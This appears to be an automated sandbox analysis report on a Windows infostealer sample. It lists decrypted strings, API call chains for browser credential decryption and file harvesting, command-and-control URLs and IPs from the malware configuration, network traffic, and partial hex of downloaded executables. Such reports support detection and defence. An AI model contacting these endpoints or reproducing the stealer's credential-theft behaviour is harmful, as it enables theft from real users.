Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: lz{`x}zx
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: n2`
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: [fkoRar`f3
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: dPQ/
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: CoInitialize
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: a|YPC3aSMP9
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: uc9llzj
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: oFba~r
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: l6
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: u@pk.uku
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: xv
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ::r@fi
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: adkS3TLg{H4S2
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: eDyatogHa
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: u`%f/as}e^wep
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: wlf7G
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: }@yju
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: .6_0h
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ]
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: vH55Gi
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: Bhukf_}p
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: idFU|gQ
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: %uZ241"5%f`%
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: 6Lqm.EMx
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: }`j&zz
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: {yMzL|!IZUc
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: $w.f
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: bSmD
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: i
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ud
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: z)#wm%W8Sr
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: 7NI29ox|096
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: V<0f
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: &rux
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: 4Z0NV%C`5hiRM9
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: `w6
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: Qh~nDy}ts,x\
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ~pts}qq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: cjc
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: Xihsc
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: +?Q-qoj
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: s-OB8X
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ZNYK}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: IEF4IQ2P
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: kgq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: XZL7Iz(igbny>woW67
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: aQNv
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: JabQb
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: cj)pU%n2{7ei*
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: wwwneyt
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: SNWZVj!9V14
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: gvn4q
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: vavbj\
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: N&L\5<US>0izPf
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: yVJW
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: t%)fn!n`out3R*cm~ajIqaGheljthgxWB^"C]@[W^O4?jc~ii/56rfy/!\ojme&
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: y"\
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: }Gpvs{Xq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: h~
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: knv/=OFAg{**34Fnyz4%
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: o
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: Mis~m^X
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: UD&Ey
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: f5 _N-^{(a>$ahm~1r-*`~g]p 6uh-NLDJ-I`fsq36:E\"Qb|e4gz&Rj61;)~xb n}6(v7kjl]|cu2-.&
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: m
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ckcxdc{
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: madhiakwtdmxj`nu~s`liseqnmo|
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: b}ffwspklw
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: `3-tfX+k
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ^9;A){>rm5@CL(`AC@ymdttiZEHttHV}:#3a}o~G`bg3,,,mgf9,$ap
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: Lw^v1OEG:`yqBvyVTBh+Z%n^Pu$hyakDa[+84l/zu7<`}O
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: tyzd0&F?6`vZxbfL4|d
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ew
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: yn
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: !j
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: #t{xpe
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: {P~da
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: jQ,;=$V
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ejbf
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: mu~xL}{|
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: gG$.-ynq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: c
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: a}}wvxsu{isn|p
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: %mo 5
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: sf}}zpycxpbxulyb`a
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: dAJE0g0PU3
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: t<!U6.H.L6KO!%XXeV40;~38_ :.@-M'J
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: }
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: wrdhk
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: i-
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: plugea
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: h`zeqwpdsc}q`b
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: c
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ;3,'
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: e$@@
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: @ssj
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: mnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: efghijklmnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: %s\%_
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: 7ens]
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: mnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: 0123pewgq9+/A
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: KccontTekeny
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ,Xef].js..
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: }ord
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: 7)+)/)UVWXY
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: efghijklmnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: `z`@J@@@J@@@
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: efghijklmnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: tuvwxyz{|}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: GetSystemInfo
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: JAJI}p
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: `|c63O
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: ToMultiByte
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: GdipFree
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: CoInitialize
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack String decryptor: plugins
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 19_2_00409BB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 19_2_00418940
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat, 19_2_0040C660
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree, 19_2_00407280
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 19_2_00409B10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAC6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 19_2_6CAC6C80
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC1A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 19_2_6CC1A9A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC144C0 PK11_PubEncrypt, 19_2_6CC144C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC14440 PK11_PrivDecrypt, 19_2_6CC14440
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBE4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free, 19_2_6CBE4420
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC625B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt, 19_2_6CC625B0

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Unpacked PE file: 19.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Unpacked PE file: 20.2.e0dbbf79bf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Unpacked PE file: 37.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe Unpacked PE file: 43.2.e0dbbf79bf.exe.400000.0.unpack
Uses 32bit PE files
Source: JGKjBsQrMc.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49200 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:49202 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49206 version: TLS 1.2
Source: unknown HTTPS traffic detected: 103.28.36.182:443 -> 192.168.2.7:49233 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source: Binary string: nss3.pdb@ source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source: Binary string: softokn3.pdb@ source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.19.dr
Source: Binary string: nss3.pdb source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source: Binary string: mozglue.pdb source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source: Binary string: softokn3.pdb source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 19_2_0040D8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_0040F4F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 19_2_0040BCB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 19_2_004139B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 19_2_0040E270
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_00401710
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_004143F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 19_2_0040DC50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA, 19_2_00414050
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 19_2_0040EB60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 19_2_004133C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: firefox.exe Memory has grown: Private usage: 0MB later: 97MB

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor URLs: http://85.28.47.31silence
Source: Malware configuration extractor IPs: 185.215.113.19
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.7:49223 -> 20.52.165.210:39030
Source: global traffic TCP traffic: 192.168.2.7:49240 -> 185.215.113.67:40960
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.7:49198 -> 1.1.1.1:53
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:57:31 GMTContent-Type: application/octet-streamContent-Length: 256512Last-Modified: Fri, 26 Jul 2024 06:44:15 GMTConnection: keep-aliveETag: "66a345bf-3ea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c3 7d b8 f5 87 1c d6 a6 87 1c d6 a6 87 1c d6 a6 e8 6a 7d a6 9c 1c d6 a6 e8 6a 48 a6 97 1c d6 a6 e8 6a 7c a6 e4 1c d6 a6 8e 64 45 a6 8e 1c d6 a6 87 1c d7 a6 f6 1c d6 a6 e8 6a 79 a6 86 1c d6 a6 e8 6a 4c a6 86 1c d6 a6 e8 6a 4b a6 86 1c d6 a6 52 69 63 68 87 1c d6 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 37 fc 16 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 18 02 00 00 92 03 02 00 00 00 00 5c 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 05 02 00 04 00 00 03 cc 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 58 02 00 64 00 00 00 00 80 04 02 18 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 18 02 00 00 10 00 00 00 18 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 58 32 00 00 00 30 02 00 00 34 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 09 02 02 00 70 02 00 00 b6 00 00 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 18 e3 00 00 00 80 04 02 00 e4 00 00 00 06 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:57:34 GMTContent-Type: application/octet-streamContent-Length: 91648Last-Modified: Fri, 26 Jul 2024 06:15:46 GMTConnection: keep-aliveETag: "66a33f12-16600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 f0 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 c2 d2 00 00 00 50 00 00 00 d4 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9d 33 00 00 00 30 01 00 00 34 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 